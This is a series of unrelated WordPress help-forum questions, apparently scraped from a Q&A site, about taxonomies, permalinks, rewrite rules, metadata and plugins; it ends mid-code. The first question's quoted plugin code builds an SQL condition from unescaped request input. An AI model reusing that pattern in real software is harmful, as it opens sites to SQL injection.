Modify wordpress plugin to auto complete on taxonomies instead of title

I've been trying for hours to modify this plugin to work with custom taxonomies instead of post titles and/or post content http://wordpress.org/extend/plugins/kau-boys-autocompleter/ Added the code / part of the plugin where i think the modification should be done. I could post some stuff I tried but I think it would just confuse people, I don't think I ever came close. Normally I can modify code perfectly but just can't seem to find it. I've tried this method posted here. http://wordpress.org/support/topic/autocomplete-taxonomy-in-stead-of-title-or- content But doesn't work I've tried searching for possible solution around his suggestion but I'm starting to think his suggestion isn't even close to fixing it. Not sure if its allowed but ill pay 15$ on paypal to whoever gives me a clear and complete solution.               if(WP_DEBUG){             error_reporting(E_ALL);         } else {             error_reporting(0);              }              header('Content-Type: text/html; charset=utf-8');          // remove the filter functions from relevanssi     if(function_exists('relevanssi_kill')) remove_filter('posts_where', 'relevanssi_kill');     if(function_exists('relevanssi_query')) remove_filter('the_posts', 'relevanssi_query');     if(function_exists('relevanssi_kill')) remove_filter('post_limits', 'relevanssi_getLimit');          $choices = get_option('kau-boys_autocompleter_choices');     $framework = get_option('kau-boys_autocompleter_framework');     $encoding = get_option('kau-boys_autocompleter_encoding');     $searchfields = get_option('kau-boys_autocompleter_searchfields');     $resultfields = get_option('kau-boys_autocompleter_resultfields');     $titlelength = get_option('kau-boys_autocompleter_titlelength');     $contentlength = get_option('kau-boys_autocompleter_contentlength');     if(empty($choices)) $choices = 10;     if(empty($framework)) $framework = 'jQuery';     if(empty($encoding)) $encoding = 'UTF-8';     if(empty($searchfields)) $searchfields = 'both';     if(empty($resultfields)) $resultfields = 'both';     if(empty($titlelength)) $titlelength = 50;     if(empty($contentlength)) $contentlength = 120;          mb_internal_encoding($encoding);     mb_regex_encoding($encoding);          $words = '%'.$_REQUEST['q'].'%';          switch($searchfields){         case 'post_title' :              $where = 'post_title LIKE "'.$words.'"';             break;         case 'post_content' :              $where = 'post_content LIKE "'.$words.'"';         default :             $where = 'post_title LIKE "'.$words.'" OR post_content LIKE "'.$words.'"';     }          $wp_query = new WP_Query();     $wp_query->query(array(         's' => $_REQUEST['q'],         'showposts' => $choices,         'post_status' => 'publish'     ));           $posts = $wp_query->posts;          $results = array();     foreach ($posts as $key => $post){          setup_postdata($post);          $title = strip_tags(html_entity_decode(get_the_title($post->ID), ENT_NOQUOTES, 'UTF-8'));                   $content = strip_tags(strip_shortcodes(html_entity_decode(get_the_content($post->ID), ENT_NOQUOTES, 'UTF-8')));         if(mb_strpos(mb_strtolower(($searchfields == 'post_title')? $title : (($searchfields == 'post_content')? $content : $title.$content)), mb_strtolower($_REQUEST['q'])) !== false){             $results[] = array(                 'url' => get_permalink($post->ID),                 'title' => highlightSearchString(strtruncate($title, $titlelength, true), $_REQUEST['q']),                 'content' => (($resultfields == 'both')? highlightSearchString(strtruncate($content, $contentlength, false, '[...]', $_REQUEST['q']), $_REQUEST['q']) : '')             );         }     }     printResults($results, $framework);               function highlightSearchString($value, $searchString){              if((version_compare(phpversion(), '5.0') < 0) && (strtolower(mb_internal_encoding()) == 'utf-8')){             $value = utf8_encode(html_entity_decode(utf8_decode($value)));         }              $regex_chars = '\.+?(){}[]^$';         for ($i=0; $i<mb_strlen($regex_chars); $i++) {             $char = mb_substr($regex_chars, $i, 1);             $searchString = str_replace($char, '\\'.$char, $searchString);         }         $searchString = '(.*)('.$searchString.')(.*)';         return mb_eregi_replace($searchString, '\1\2\3', $value);     }          function strtruncate($str, $length = 50, $cutWord = false, $suffix = '...', $needle = ''){              $str = trim($str);         if((version_compare(phpversion(), '5.0') < 0) && (strtolower(mb_internal_encoding()) == 'utf-8')){             $str = utf8_encode(html_entity_decode(utf8_decode($str)));         }else{             $str = html_entity_decode($str, ENT_NOQUOTES, mb_internal_encoding());         }                   if(mb_strlen($str)>$length){             if(!empty($needle) && mb_strpos(mb_strtolower($str), mb_strtolower($needle)) > 0){                 $pos = mb_strpos(mb_strtolower($str), mb_strtolower($needle)) + (mb_strlen($needle) / 2);                 $startToShort = ($pos - ($length / 2)) < 0;                 $endToShort = ($pos + ($length / 2)) > mb_strlen($str);                      // build the prefix and suffix                 $prefix = $suffix;                 if($startToShort){                     $prefix = '';                 }                 if($endToShort){                     $suffix = '';                 }                      // set maximum length                 $length = $length - mb_strlen($prefix) - mb_strlen($suffix);                      // get the start                 if($startToShort){                     $start = 0;                 } elseif($endToShort){                     $start = mb_strlen($str) - $length;                 } else {                     $start = $pos - ($length / 2);                 }                           // shorten the string                 $string = mb_substr($str, $start, $length);                      if($cutWord){                     return $prefix.$string.$suffix;                 } else {                     $firstWhitespace = ($startToShort)? 0 : mb_strpos($string, ' ');                     $lastWhitespace =($endToShort)? mb_strlen($string) :  mb_strrpos($string, ' ');                     return $prefix.' '.(!empty($lastWhitespace)? mb_substr($string, $firstWhitespace, ($lastWhitespace - $firstWhitespace)) : $string).' '.$suffix;                 }             } else {                 $string = mb_substr($str, 0, $length - mb_strlen($suffix));                 return (($cutWord) ? $string : mb_substr($string, 0, mb_strrpos($string, ' ')).' ').$suffix;             }         } else {             return $str;             }     }          function printResults($results, $framework){         if($framework == 'scriptaculous'){                       echo '
';             foreach($results as $result){                 echo '
                                                              '.$result['title'].'                                 '.$result['content'].'
';             }             echo '
';         } else {                 foreach($results as $result){                 echo str_replace(array("\n", "\r", '|'), array(' ',' ', '|'), ''.$result['title'].'
'.$result['content'].'
')                     .'|'                     .str_replace(array("\n", "\r", '|'), array(' ',' ', '|'), $result['url'])                     ."\n";             }         }     }


CPT archive 404ing when using a custom taxonomy name as a variable

So, I'm using a custom post type archive and generating a JavaScript-based filtering interface for sorting through results. Here's an example: http://www.inverity.org/sermons/ Now, what I'd like to do is pass in variables to my script to allow for filtering based on URL parameters. This works: http://www.inverity.org/sermons/?presenters=4 The problem is, this doesn't: http://www.inverity.org/sermons/?speakers=4 "speakers" is the name of the custom taxonomy I'm using and is the value that I want to filter by. Any ideas why this is happening? Is there anything I can do to get around it and prevent the 404ing?


How to single click to download image in single post

i have attacment.php like this.               <?php            if ( $attachments = get_children( array(       'post_type' => 'attachment',       'post_mime_type'=>'image',       'numberposts' => 1,       'post_status' => null,       'post_parent' => $post->ID       )));     foreach ($attachments as $attachment) {       echo wp_get_attachment_link( $attachment->ID, '' , false, true, 'Download This Wallpaper');       }       ?>       this code will print attachment link. My question is: How to make this link to be single click to download image and save to computer user?


How to get the $atts of a shortcode

I have the following shortcode:               [video width="400" height="400" mp4="http://xxxx.xxxx.xxx/uploads/2014/06/Facebook.mp4"][/video]      I need to get every single atts a single variable, I mean, I need something like this               $width = 400     $height = 400     $file = http://xxxx.xxxx.xxx/uploads/2014/06/Facebook.mp4      does anybody have done something like this before? (I'm very newbie in WP)


default custom background image not saved in database when creating a new site

I am a theme author and the theme I made is used in a multisite environment. I have added the `custom_background` feature to this theme, with a default image and everything works as expected : the user can change the image and see the result live is the Theme Customizer before putting it online. Here is the custom_background declaration:               add_action('after_setup_theme', 'user83643_theme_features');     function user83643_theme_features(){         add_theme_support( 'custom-background' , array(             'default-color' => '1878A0',             'default-image' => get_template_directory_uri() . '/img/default.jpg',             'wp-head-callback' => '__return_false',         ));     }      However, when a fresh new site is created in the network, the default image does not appear in the frontend. I can see it in the backend in the theme customizer, but I have to save it once to activate it on the frontend : `get_theme_mod('background_image')` returns `false` before I save it once. Any idea how to save the default image (and color) in the database upon the first theme activation ?


WPMU Development Environment

This is my first time playing with WPMU, I'm trying to move an entire WPMU site into a subdomain of itself for a development environment. The site itself is using subdomains so I'm having a bit of trouble getting it working. Has anyone had this task/problem before? I need to move `http://example.com` to `http://dev.example.com`. I have moved all the files into a subfolder and configured it via the server, moved the database into a separate one, updated the home & siteurl in the `wp_options` table and my `wp_config.php` is as follows:               define( 'WP_ALLOW_MULTISITE', true );     define( 'MULTISITE', true );     define( 'SUBDOMAIN_INSTALL', true );     define( 'NOBLOGREDIRECT', 'http://dev.example.com/' ); // added by me in dev only     $base = '/';     define( 'DOMAIN_CURRENT_SITE', 'dev.example.com' );     define( 'PATH_CURRENT_SITE', '/' );     define( 'SITE_ID_CURRENT_SITE', 1 );     define( 'BLOG_ID_CURRENT_SITE', 1 );      When I try to hit the dev subdomain in the browser it redirects to               /wp-signup.php?new=dev.example.com       Can anyone help/give pointers/anything?


All-in-One Event Calendar: How do you display the event date?

I want something like this to show up: Jan 29 Mon 2-9 pm I can't use `<?php echo $event->get_timespan_html(); ?>` as it would display something like "July 13, 2013 @ 1:00 pm – 3:00 pm." I also tried               <?php echo date_i18n( 'M', $timestamp, true ) ?>     <?php echo date_i18n( 'j', $timestamp, true ) ?>     <?php echo date_i18n( 'D', $timestamp, true ) ?>     <?php echo $event->get_start_time(); ?> – <?php echo $event->get_end_time(); ?>      but for some reason it only displays Jan 1 Thu 1:00 pm – 3:00 pm instead of the correct event information. Help?


Validating buddypress custom profile fields

I'm using buddypress and I offer users the chance to add links to their social networks (facebook/twitter) by entering the url's into custom profile fields. My issue is that people can;t follow directions and constantly enter in incomplete url's so I need to validate them while they're filling them out on profile edit and registration. I found this nice little function to validate.               function validate_url(url) {       if (/^(https?://)?((w{3}.)?)twitter.com/(#!/)?[a-z0-9_]+$/i.test(url))        return 'valid';                if (/^(https?://)?((w{3}.)?)facebook.com/.*/i.test(url))        return 'invalid';            return 'not a valid link';     }      My question is how can I use this in conjunction with buddypress profile edit. I moved the bp template files to my child theme and started fooling around with the edit template under profiles but couldn’t really get anywhere. Any ideas on the best way to do this?


How to activate WordPress widgets but not display?

I have activate the widget in my WordPress site in admin panel, but on the front page I don't want to display it. Is this possible?


WP 3.1 custom post type permlinks

I know there is alot of discussion about the CPT and permlinks together with the 404. I did not found a solution though I am close. It would be great if someone could assist me to get it working. Ok what I did is:                   function post_type_services()      {             register_post_type( 'services',                     array(                      'label' => __('Services'),                      'singular_name' => __( 'Service' ),                     'capability_type' => 'post',                     'rewrite' => array('slug' => 'service','with_front' => FALSE),                     'public'  => true,                      'show_ui' => true ) );                   flush_rewrite_rules( false );         }     add_action('init', 'post_type_services');      I added a CPT for services. I added a slug and I also added `flush_rewrite_rules(false)` as suggested in many blog posts. I turned on Permlinks with the settings `/%year%/%monthnum%/%postname%` I added a file `single-services.php` which contains following content                  <?php          get_header();      ?>

         <?php query_posts('post_type=services'); ?>         <?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>

<?php the_title(); ?>
                     <?php the_content(); ?>                     <?php wp_link_pages( array( 'before' => '' . __( 'Pages:', 'twentyten' ), 'after' => '' ) ); ?>                     <?php edit_post_link( __( 'Edit', 'twentyten' ), '', '' ); ?>
             <?php endwhile; ?>

Auswahl

                         <?php wp_nav_menu( array( 'sort_column' => 'menu_order', 'menu_class' => 'sb_menu', 'theme_location' => 'leftmain' ) ); ?>
                 <?php get_sidebar(); ?>

                     <?php get_footer(); ?>

      So far so good. What I want is. if I navigate to http://www.mydomain.com/service I would like to see my list of services and when I click on a single service I want to display the single service. What I do get right now is when I navigate to http://www.mydomain.com/service. I get a 404 but when I visit http://www.mydomain.com/service/my-first-service I see the list of services... What did I do wrong? How can I get a list of services when I visit http://www.mydomain.com/service ? P.S.: I use the starkers base template to generate my own...


How to set and use global variables? Or why not to use them at all

UPDATE: My original question has been solved, but this is turning into a valid discussion about why not to use global variables, so I am updating the question to reflect that. The solution was `<?php global $category_link_prop; echo esc_url( $category_link_prop ); ?>` as @TomJNowell suggested. UPDATE 2: I now have it doing exactly what I wanted. But I'm still using global scope and would be happy to find a better way. I am trying to set up a whole bunch of global variables for the permalinks to categories to be used in various places in my theme. _The main reason for this is for use in both the main navigation, as well as in a series of sub navigations that are chosen based on what category the current post is in._ This is not a theme I will be releasing for use by others, but is built for one very specific purpose. This is how I am currently creating them (I've only pasted in a few of the variables).                   function set_global_nav_var()         {         //proposal         global $prop;         // Get the ID of a given category         $category_id_prop = get_cat_ID( 'proposal' );         // Get the URL of this category         $category_link_prop = get_category_link( $category_id_prop );         $prop = 'Proposal';              //Calvinball         global $cb;         // Get the ID of a given category         $category_id_cb = get_cat_ID( 'calvinball' );         // Get the URL of this category         $category_link_cb = get_category_link( $category_id_cb );         $cb = 'Calvinball';         }         add_action( 'init', 'set_global_nav_var' );      I can now do `<?php global $prop; echo $prop; ?>` int he 4 places that goes and get back the whole link for the code. When that changes I only need to change it in one place. I'm open to alternatives that do not involve the global scope.


Add-on domain works in Wordpress but links still lead to subdomain

I know this looks like a common question, and I assure you I've tried a bunch of responses, but none seem to work in my case. I'm a Wordpress noob so I might be making some basic error which I can't spot. I will link you to the actual pages in question so you can see what's going on easily. The main domain is: visit-ceed.net We created an add-on domain called reprezentacija.me which can be accessed as a subdomain of the main domain here: http://visit-ceed.net/reprezentacije/. Opening `reprezentacija.me` works fine, but all the links still point to the subdomain. How do I get the links to point to the add-on domain? So, instead of pointing to `http://visit-ceed.net/reprezentacije/category/novosti/fudbal/` the corresponding link should go to `http://reprezentacija.me/category/novosti/fudbal/`. Here is the htaccess file in the `reprezentacije/` directory:               # BEGIN WordPress     <IfModule mod_rewrite.c>     Options +FollowSymLinks     Options -Multiviews     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d          </IfModule>          # END WordPress


Display Links in Excerpts?

I'm having a problem with the_excerpt and can not find the answer anywhere... I simply want to allow links to be clickable when they are displayed via the_excerpt! There has to be a function for this, rather than relying on a plugin. But I can't find it and the advanced excerpt plugins are so complex that I am unable to find the small snippet which makes this work.


Start Query from 2nd Post without offset

is there a quick and easy way to load all the posts, starting with the second post and making the first post the last post? If I use offset, I then lose the first post, but I don't want to lose it, I just want to change the sort order, ie. first becomes last and second becomes first post. Thanks for your help.


Custom feed parameters / Template overriding

Am relatively new to Wordpress development and looking for the best way to customize the output for a specific javascript app that will be pulling in the content dynamically, by using a Wordpress plugin. I can do most of what I need to do by overriding the feed template, allowing custom output by search term, tag, and category. However, getting an individual post for the feed (ie. using p= or page_id= query variables) doesn't seem to be an option by default. What would be the best, cleanest way (ie. least amount of conflicts) to create the custom output post/page output? Simply add a new query_var filter and hook into parse_request, add new query vars for the feed somehow, or some other method to override the template for the content from within the plugin code? Thanks!


Loading pages via Ajax and displaying titles

A small and possibly simple consultation. I'm loading pages via Ajax like this:               jQuery("div.menu a").addClass("ajax");          var hash = window.location.hash.substr(1);     var href = jQuery('.ajax').each(function(){         var href = jQuery(this).attr('href');         if(hash==href.substr(0,href.length-5)){             var toLoad = hash+'.html #wrapper';             jQuery('#wrapper').load(toLoad)         }                                                });     jQuery('a.ajax').click(function(){                                 var toLoad = jQuery(this).attr('href')+' #wrapper';         jQuery('h2').fadeOut('slow');         jQuery('#wrapper').animate( {           top: '300px',           opacity: 0         } ).animate({top:'-300px'}).hide('normal',loadContent);              window.location.hash = jQuery(this).attr('href').substr(0,jQuery(this).attr('href').length-5);              function loadContent() {             jQuery('#wrapper').load(toLoad,'',showNewContent())         }         function showNewContent() {                  jQuery('#wrapper').show('slow').animate( {               top: '0px',               opacity: 1             } );             jQuery('h2').fadeIn('slow');         }         return false;     });      While doing this I also have the Title of the current page displayed at the header.php via `echo get_the_title();` . Obviously this function is not updated and my question is: **Is there a way to fetch the title of the page loaded via Ajax?**


Do I Need to Prefix Variables Inside Functions?

Sorry, this is a noob question. But, I want to follow the best practices. I read that functions and global variables should be prefixed in plugins. So, for example, `myfunction()`, should be `lax_myplugin_myfunction()`. And a variable, such as `$myvar`, should be `$lax_myplugin_myvar`. Do I need to prefix a variable if it's in a function? For example,               lax_myplugin_myfunction() {          $count = 50;          return $count;          }      Should I prefix `$count` and make it `$lax_myplugin_count`? Or I don't have to bother with it as it's in a function. What's the best practice? Thank you.


Custom post type Vs. data in own table

I'm trying to get started with WP development. So far I've been using it with other's people plugins and themes so I'm kind'a stuck. I've read many many many things about, but I can't find simple answer when to use what. e.g. I'd like to create order page (webshop without payments, just simple order that resides on system and administrator then have a chance to check, confirm, set status to that order to "products sent" and so on). So now, I should have - users, articles (distributed in some categories, with some brand tags) and orders and my plan was to create wp_MyArticles table, with menu in wp dashboard, where admin could do certain things with it. But then, 50% of people told me NOT TO mess with WP database, and create my own table, but to rather use custom post types, with custom fields. I've read again tons of blogs / pages but still, I'm not sure, what do I get with custom "post" (Article), when I need to list it, select few of articles, add them to orders. Where to put orders ? How to create subpages that will deal with orders, with articles ? And most important, I'm trying to find how to code my own plugin for members area, so that even as administrator I avoid dashboard, and work only on "my backend" part? My idea is not to buy / use some ready made plugin, but to learn how to do it on my own, but it seams I can't google right things, all blogs and how to's are copies of copies of copies of same examples and are using same plugins. So, any how to / why / what to read is needed and appreciated.


How do i include tinymce editor in frontend?

I am trying to add tinymce editor in my frontend from where users can post. But no luck so far. Here is the code: **PHP:**               add_action('wp_print_scripts', 'my_enqueue_scripts');          function my_enqueue_scripts() {                   wp_enqueue_script( 'tiny_mce' );             if (function_exists('wp_tiny_mce')) wp_tiny_mce();     }      **Javascript:**               jQuery(document).ready(function(){     tinyMCE.init({             mode : "textareas",             theme : "simple",              /*plugins : "autolink, lists, spellchecker, style, layer, table, advhr, advimage, advlink, emotions, iespell, inlinepopups, insertdatetime, preview, media, searchreplace, print, contextmenu, paste, directionality, fullscreen, noneditable, visualchars, nonbreaking, xhtmlxtras, template",*/             editor_selector :"editor"         });     });      **HTML:**               <textarea rows="8" cols="40" name="description" id="editor" class="required"><?php echo $description;?></textarea>      **Problem:** Texteditor not adding to textarea. Although the tinymce js file is loading.


How to install Google Analytics onto site without internet access

I just created an intranet site for the company that I work for. The IT department will not allow my site to access the internet for security reasons, but my boss still wants Google Analytics installed. I usually just use Joost De Valk's GA plugin, but I don't think it will work since I don't have internet access. Any ideas about installing GA without an internet connection?


add_rewrite_rule not loading correct page nor getting variables

I've trying to get a showreel title and video id into an URL that can then be accessed by the page. i have the two in the same URL and it either doesn't work or only one comes in. Currently the page isn't being found ? (i am constantly flushing the permalinks) Url i want to get variables from will look like directors/test- director/showreel/ **showreel-name** /video/ **111** / The site currently sits in a testing folder called *independent_02* but not sure if that affects anything? here's the code;               function wpse13483_init() {              add_rewrite_rule( 'directors/(.+?)/showreels/([^/]+)?/?$', 'index.php?category_name=$matches[1]&showreel=a', 'top' );         add_rewrite_rule( 'directors/(.+?)/showreels/([^/]+)/video/([^/]+)?/?$', 'index.php?category_name=$matches[1]&showreel=c1&video=c2', 'top' );         // directors is a custom post_type and should go to single-directors.php              add_rewrite_rule( 'showreels/(.+?)/video/([^/]+)?/?$', 'index.php?category_name=$matches[1]&video=b', 'top' );         // showreels is a custom post_type and should go to single-showreels.php          }     add_action( 'init', 'wpse13483_init' );      Any help appreciated! * * * **UPDATES** \- this rule is now mostly working and catching the variables. However it is going to archive.php and not directors-single.php?               add_rewrite_rule( 'directors/(.+?)/showreels/([^/]*)/video/([^/]*)/?', 'index.php?post_type=directors&showreel=$matches[2]&video=$matches[3]', 'top' );     // directors is a custom post_type and should go to single-directors.php      i think its to do with the '?post_type=directors' but can't find any reference of what this should be to load single.php **UPDATE 2** Looking at Rewrite analyzeri think its missing the post_type variable? ![rules](http://i.stack.imgur.com/jhFV2.png)


Integrating Buddypress, Wootumblog and WPMU Sitewide tags

Judging by the lack of information when I perform a search, I may be one of the few people that has tried to get these plugins playing nicely together. When all is sorted and the site is live, I’ll post up a link to hopefully inspire a few other sites to try them out together. Basically what I have is a standard WP multisite/BP configuration, to which I’ve installed the WooTumblog plugin at the network level and then added ‘function woo_tumblog_type’ and ‘function woo_tumblog_short_title’ to the functions.php file in the child theme used by my sub-sites. Both my main theme and child themes are heavily adapted from the BP Default theme. Somewhat frustrated by the lack of front-end publishing tools for Wordpress and keen to use the WooTumblog dashboard (which uses javascript enabled panel changes depending on whether a user wishes to publish a video, image, quote, link or article), I decided to customise the admin area for users to look identical to the site’s front-end, then I removed all other dashboard widget boxes (using unset($wp_meta_boxes…) and all the admin sidebars and menus (using remove_submenu_page()) and also customised the admin bar. The result is a a user admin dashboard that looks as if it is a part of the main site. The configurations are triggered by user level – using I came slightly unstuck when I implemented the WPMU sitewide tags plugin which copies everything on the network into a single site which can them be used to produce cross-site tags, searches and display all the latest network posts. On the front end of my main site (where all the latest posts are displayed) I display a tumblog icon against each post based on its taxonomy (i.e. video, image, quote…) . I have built a 'catch image' function which displays the first image from a post and where there is no image (such as for a quote or video) it displays a default thumbnail. Everything works fine except I cannot get the custom taxonomy to reach the main site (or tag blog) so that I can then customise the presentation of these sub-site posts. I've been in contact with Ron Rennick (who maintains WPMU SWT) and Jeff Pearce (who is the woo themes developer behind wootumblog). They've both shared their advice, but I've not worked with classes, actions and filters so I'm finding it difficult translating their advice into tangible changes in my code. If anyone has a spare moment and would like to give it a go, here's a link to Ron's advice; http://wordpress.org/support/topic/getting-buddypress-and- sitewide-tags-to-play-nicely?replies=10 With Ron's input I created the following plugin..               <?php     /*     Plugin Name: SWT Custom Taxonomy     Description: Addition of new custom taxonomies to the wpmu sitewide tags plugin.     Version: 1.0     Author: CitizenSlide     License: GPL2     */          function my_swt_custom_tax_filter( $taxonomies ) {     $taxonomies[] = 'tumblog';     return $taxonomies;     }     add_filter( 'sitewide_tags_custom_taxonomies', 'my_swt_custom_tax_filter' );     ?>       But as far as I can tell, there is no change in the output written to the SWT tag blog. Anyone with any thoughts? I 'just' want to carry one (custom taxonomy) field from a sub-site post through to the main site using the sitewide tags plugin. How hard can that really be?


Updating wp_options with an array on save_post results in duplicated entries

I'm not entirely sure this is Wordpress' fault, but I figure I'd ask anyway and see if anyone else has experienced any problems like this before. I'm trying to save an array to a wp_options table row. The data is coming from a custom metabox and is being saved when the save_post hook is triggered. I assumed this should do the trick:               update_option("myOptionName", $myArray);      I started getting 4(?!) of each value I saved. For instance:               $myArray = array("option1");     update_option("myOptionName", $myArray);     get_option("myOptionName");      // array([0]=>"option1", [1]=>"option1", [2]=>"option1", [3]=>"option1");      Needless to say, this behavior is extremely annoying. It works perfectly well with strings, but never arrays. I've tried to get around this by trying json_encode to store it as a string-y entity, but even that isn't working. The problem could very well be the legacy code I've inherited by taking on this project, but I see nothing pointing to save_post. Has anyone ever seen a situation like this before? EDIT: As requested ... the save function:               # SAVE BRICK DATA     function brick_update() {          // Verify if this is an auto save routine.     if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {         return;     }          // Check permissions     if ( !current_user_can( 'publish_posts' ) ) { // Check for capabilities         wp_die( 'Sorry, you do not have the capabilities access to this page. :(' );     }          if (!wp_verify_nonce($_REQUEST['brickupdate'], 'brickupdate')) {         return;     }          $newView = array();     $currentView = get_option('ci_guidesbrick_posts');          if (!is_array($currentView)) {         $currentView = (array)$currentView;     }          for (var i = 0, i < count($currentView), i++) {         $newView[i] = $currentView[i];     }          $newView[] = $_REQUEST['postID'];          update_option('ci_guidesbrick_posts', $newView );             }


A mandatory agreement form to access another page?

I want to set up a page with a form the visitor needs to fill out and accept terms before going on to another page. Is there a plugin to do this? If no plug in, is there another way? Any help would be appreciated! Greg


Plugin for Reading Documents, PDF's etc

I am working on a project like scribd.com using WordPress, is there any plugin available which can read documents into a flash or in an Iframe. Examples: scribd.com docstoc.com books.google.com


How to add custom function to pluggable.php

I am working on a WP plugin and I want to add a custom function to pluggable.php (located in /wp-includes). I am calling that function from admin.php (located in /wp-admin) eg. Consider the function `auth_redirect` which is called from admin.php. `auth_redirect` is the function defined in pluggable.php which checks for logged users, else it redirects them to login page. Similarly, I have my own custom function. So, is there any specific hook or filter which I must use to attach my function to pluggable.php. Currently, I am using `fwrite()` to add my custom function to pluggable.php. But, I guess this isn't the right way. So, can you suggest me the right way of inserting my custom function and calling it from admin.php Any help will be appreciated.


Rewrite custom post type url's adding meta box values

I've got these custom post types (CPT) and meta boxes:   * Movies (CPT)      * Genre (Meta box)   * Genres (CPT) If one movie is called Die hard then I want the permalink to be: /genres/action/die-hard This is easily fixed by setting the movie-CPT to 'rewrite' => false and use this code instead:               add_action('init', 'rb_add_rewrite_rules');     add_filter('post_type_link', 'rb_create_permalinks', 10, 3);          function rb_add_rewrite_rules() {         global $wp_rewrite;         $wp_rewrite->add_rewrite_tag('%movies%', '([^/]+)', 'movies=');         $wp_rewrite->add_rewrite_tag('%genre%', '([^/]+)', 'genre=');              $wp_rewrite->add_permastruct('movies', '/genres/%genre%/%movies%', false);     }          function rb_create_permalinks($permalink, $post, $leavename) {         $no_data = 'no-data';         $post_id = $post->ID;              if($post->post_type != 'movies' || empty($permalink) || in_array($post->post_status, array('draft', 'pending', 'auto-draft')))         return $permalink;              $event_id = get_post_meta($post_id, 'genre', true);         $var1 = basename(get_permalink($event_id));         $var1 = sanitize_title($var1);              if(!$var1)             $var1 = $no_data;              $permalink = str_replace('%genre%', $var1, $permalink);              return $permalink;     }      Ok, here's the problem. Both the Die Hard permalink and the archive-genres.php (displaying all the genres) is looking good, but the single-genres.php isn't found – instead, going to /genres/action will display the index.php code. I guess the problem is that my rewrites collide, maybe it's not possible to do this: **'movies' CPT permalink**               /custom base name/custom field meta box value)/'movies' CPT post name      **'genres' CPT permalink**               /custom post type name (same value as the custom base name above!!)/'genres' CPT post name      How can I make WordPress use single-genres.php for /genres/action etc?


Event Archive by Month

I'm creating an events site for a theatre in wordpress - at the moment I have set up a custom post type for Events and am using a custom field 'event_date' (which formats to YYYY-MM-DD) to order the events on their listing page and also move them to the archive if past todays date. So far all working nicely. Next up I need to create an month by month filter for the months in which shows appear however am a bit stumped. I guess I need to: \- check the months which contain shows (not past) and output a list link these months to a template which filters to just show the relevant month.. Any pointers? Thanks in advance


How to update/delete array in post meta value?

I using post meta like..               $meta = get_post_meta(99,'_mymeta',true);     $value = $meta['somekey'];     echo $value;      But how to update `$meta['somekey']` to some another value ? How to use update_post_meta to update sub meta key ?(Idk, How ppl call)               update_post_meta(99, '_mymeta["somekey"]', 'myAnotherValue');      ?????


How to add subfolders in media library for better organisation?

Right now I cannot create any subfolder e.g. reviews, news, interviews etc. I have a lot of images in my media library and it's messy. How can I create some folders and reorganize the images there?


Showing related posts (custom post type) outside of the loop

I'm trying the following (it's a sidebar widget in the Single New template):
       <?php         $postid = $post->ID;         $categories = get_the_category($post->ID);       ?>
<?php echo $postid; ?>

<?php echo $categories; ?>
       <?php // Create and run custom loop         $args=array(           'post_type' => 'news',           'category__in' => $categories,           'post__not_in' => $postid,           'posts_per_page'=> 3 // Number of related posts that will be shown.         );         $custom_posts = new WP_Query();         $custom_posts->query( $args );         while ($custom_posts->have_posts()) : $custom_posts->the_post();       ?>
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
       <?php endwhile; ?>       <?php wp_reset_postdata(); ?>
See All Positions >>

      But as it turns out, `$postid` comes up blank and `$categories` outputs as `Array`. What am I doing wrong here?


Looking for membership style plugin with edit option

I have had a search but not found what I'm looking for so far. I am looking for a plugin which will provide a functionality on a site for the following:   * Use wants to sign up to my site, goes through a registration process   * Logs on to a user portal where they can add/edit/remove their own posts   * Offer free and paid memberships I have looked at membership plugins but none seem to satisfy my need for the user to add/edit/remove their own posts and for their portal to NOT look like WordPress but more a "white label" solution if you will. I am not looking to offer premium content, I am looking to provide a place where people can place their own items in a listing style website. Any info would be greatly appreciated. Thanks gdude


How to Disconnect My Domain Name?

So, I have a problem. I recently bought a domain name, as well as a hosting plan. Then I downloaded WordPress and now whenever I want to edit my website, I have to do it by logging in to the "example.com/wp-admin" page. However, the problem is that I want to be able to make my own website using a FTP (CyberDuck), and not have to use WordPress services. This is my first time doing this, so I'm not sure if my domain name is now connected to WordPress? If so, how do I disconnect it, so I just have the domain name on its own, and then I can use a FTP to edit the website with HTML/CSS/JS on my own? I am very confused and not sure what to do.


Is it possible for two WordPress plugins to share the same code base?

So I have written my first WordPress plugin for production and in the next few days I will be starting up on another project where I might have to write two plugins for the same WP site because they do two distinct set of tasks. Now I was reviewing some of the code I had written for the first plugin I thought it would be great if the two plugins could share some of that code that I had written for the first plugin from my earlier project. At first I thought maybe I should just write one plugin that does it all but after some pondering I've come to the conclusion that I wanted my plugins to be small and do few tasks rather than having a bloated plugin that does too much. It would be hard to maintain later. So I was wondering if anyone has ever written a code base for that multiple plugins can share and how you accomplished this. Any relevant links would be appreciated.


Can I specify that custom.css gets loaded at Appearance > Editor instead of style.css?

I want to specify which css file gets loaded when the user clicks on "Appearance > Editor". However, its always loading style.css for some reason. Any way to enforce that a specific file gets loaded there?


How to fix these PHP Warnings with the "Feed JSON" plug-in?

I'm getting the following PHP warnings when using the WordPress plug-in "Feed JSON". Can someone tell me how to fix them? > Warning: Invalid argument supplied for foreach() in /mypath/wp- > content/plugins/feed-json/feed-json-template.php on line 39 > > Warning: Cannot modify header information - headers already sent by (output > started at /mypath/wp-content/plugins/feed-json/feed-json-template.php:39) > in /mypath/wp-content/plugins/feed-json/feed-json-template.php on line 53 Here is the code used in feed-json-template. Lines 39 and 53 are highlighted with ** around each line.               <?php     /**      * JSON Feed Template for displaying JSON Posts feed.      *      */     $callback = trim(esc_html(get_query_var('callback')));     $charset = get_bloginfo('charset');          if ( have_posts() ) {         $json = array();         while ( have_posts() ) {             the_post();             $id = (int) $post->ID;                  $single = array(                 'id'        => $id ,                 'title'     => get_the_title() ,                 'permalink' => get_permalink(),                 'content'   => get_the_content(),                 'excerpt'   => get_the_excerpt(),                 'date'      => the_date('Y-m-d H:i:s','','',false) ,                 'author'    => get_the_author() ,                 );                  // thumbnail             if (has_post_thumbnail($id)) {                 $single["thumbnail"] = preg_replace("/^.*['\"](https?:\/\/[^'\"]*)['\"].*/i","$1",get_the_post_thumbnail($id));             }                  // category             $categories = array();             foreach((get_the_category()) as $category) {                  $categories[] = $category->cat_name;              }             $single["categories"] = $categories;                  // tag             $tags = array();             **foreach((get_the_tags()) as $tag) {**   